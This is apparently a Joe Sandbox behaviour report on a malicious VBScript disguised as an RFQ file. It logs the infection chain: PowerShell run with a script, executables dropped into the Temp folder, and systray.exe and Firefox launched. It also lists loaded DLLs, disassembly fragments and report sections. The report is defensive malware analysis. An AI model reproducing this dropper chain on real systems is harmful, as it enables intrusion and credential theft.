Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\JSDSDGSD.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\RegAAsm.exe "C:\Users\user\AppData\Local\Temp\RegAAsm.exe"
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Process created: C:\Windows\SysWOW64\systray.exe "C:\Windows\SysWOW64\systray.exe"
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\JSDSDGSD.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\RegAAsm.exe "C:\Users\user\AppData\Local\Temp\RegAAsm.exe"	Jump to behavior
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Process created: C:\Windows\SysWOW64\systray.exe "C:\Windows\SysWOW64\systray.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848AB00BD pushad ; iretd	2_2_00007FF848AB00C1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4_2_00007FF848AC00BD pushad ; iretd	4_2_00007FF848AC00C1
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007D31D0 push eax; ret	5_2_007D31D2
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007EA9C9 pushad ; retf	5_2_007EAA00
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007E7D8E push FFFFFFC9h; retf	5_2_007E7D90
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007DD6C1 push ebp; ret	5_2_007DD6C2
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007EEFF2 push cs; iretd	5_2_007EEFFB
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_013D09AD push ecx; mov dword ptr [esp], ecx	5_2_013D09B6
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015EC858 push cs; iretd	8_2_015EC861
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015F0308 push es; ret	8_2_015F0310
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015E326F push esi; ret	8_2_015E3271
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015E822F pushad ; retf	8_2_015E8266
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015E55F4 push FFFFFFC9h; retf	8_2_015E55F6
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 8_2_015E3E0E push es; ret	8_2_015E3E17
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DA09AD push ecx; mov dword ptr [esp], ecx	9_2_04DA09B6
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BC77F6 pushad ; retf	9_2_02BC782D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BCF440 push eax; ret	9_2_02BCF450
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BC4BBB push FFFFFFC9h; retf	9_2_02BC4BBD
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BC2836 push esi; ret	9_2_02BC2838
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_02BCBE1F push cs; iretd	9_2_02BCBE28
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBC454 push ds; iretd	9_2_04BBC47C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBB687 pushfd ; ret	9_2_04BBB688
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBC753 push ss; iretd	9_2_04BBC761
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BC0084 pushfd ; ret	9_2_04BC0087
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBF16D push esp; ret	9_2_04BBF17D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04BBFD74 push ecx; iretd	9_2_04BBFDC2

Source: x.exe.2.dr	Static PE information: section name: 1ZG(oi< entropy: 7.992884789281061
Source: RegAAsm.exe.4.dr	Static PE information: section name: .text entropy: 7.996319502854974

Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\user\AppData\Local\Temp\RegAAsm.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\x.exe			Jump to dropped file

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BINATONE LLC RFQ.Vbs.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
BINATONE LLC RFQ.Vbs.vbs

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
